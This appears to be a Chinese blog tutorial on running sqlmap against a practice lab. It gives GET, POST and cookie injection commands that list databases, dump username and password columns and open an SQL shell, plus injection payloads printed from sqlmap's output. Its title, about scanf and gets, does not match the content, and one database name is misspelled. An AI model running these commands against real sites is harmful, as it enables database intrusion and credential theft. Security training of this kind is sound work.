一次讀入一行的資料(scanf和gets)
阿新 • • 發佈:2021-01-17
文章目錄
前言
sqlmap是sql注入的測試工具,優點是自動化和範圍廣,但是會有誤報、漏報且測試方法有限。靶場我使用的是蟻景網安學院的sql入門靶場。
一、SQL注入
二、SQLMAP
官方網址:
1.GET注入
在kali裡輸入命令
sqlmap -u http://139.155.49.43:5000/vulnlab/index.php?id=1
sqlmap會告訴我們id是可注入點,並給我們提供了複數個payload用以注入
Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1' AND 1126=1126 AND 'RQGR'='RQGR Type: error-based Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) Payload: id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a6a6271,(SELECT (ELT(6033=6033,1))),0x7178767a71,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'sILA'='sILA Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1' AND (SELECT 8168 FROM (SELECT(SLEEP(5)))EnSG) AND 'tPks'='tPks Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: id=-5242' UNION ALL SELECT NULL,NULL,CONCAT(0x716a6a6271,0x4f667a4b6f49434f446a667a634643536869414442575a5064665451536c4d426676644579644376,0x7178767a71)-- -
如果要獲取所有庫名,在最後加上–dbs
sqlmap -u http://139.155.49.43:5000/vulnlab/index.php?id=1 --dbs
同時還有其它字尾名可選
–sql-shell 開啟一個shell會話框
–batch 從不要求使用者輸入,使用預設引數
要獲取當前資料庫的管理員姓名和密碼,hetianlab是用–current-db檢索出來的當前資料庫名稱
sqlmap -u http://139.155.49.43:5000/vulnlab/index.php?id=1 -D hetianlab --tables
得到結果如上圖所示,我們再對users這個table檢視資料
sqlmap -u http://139.155.49.43:5000/vulnlab/index.php?id=1 -D hetianlab -T users --columns
再讀取username和password裡面的資訊
sqlmap -u http://139.155.49.43:5000/vulnlab/index.php?id=1 -D heitianlab -T users -C username,password --dump
2.POST注入
輸入使用者名稱和密碼以後進行抓包,抓包的內容複製下來儲存到檔案r.txt中
執行命令
sqlmap -r r.txt
之後使用的字尾引數都與前面的相同
3.Cookie注入
一開始的操作都跟POST注入一樣,但因為cookie的存在所以沒法用同一命令找到注入點。sqlmap會提示你增加level或risk選項。
–level=LEVEL 要執行的測試級別(1-5,default 1)
預設:始終測試GET和POST引數
2級:測試HTTP cookie頭值
3級:測試HTTP User-Agent / Referer 頭值
sqlmap -r r.txt --level=2
如果抓包直接能抓到cookie的值,可以使用 cookie注入命令:sqlmap.py -u 注入點 --cookie=”獲取的cookie”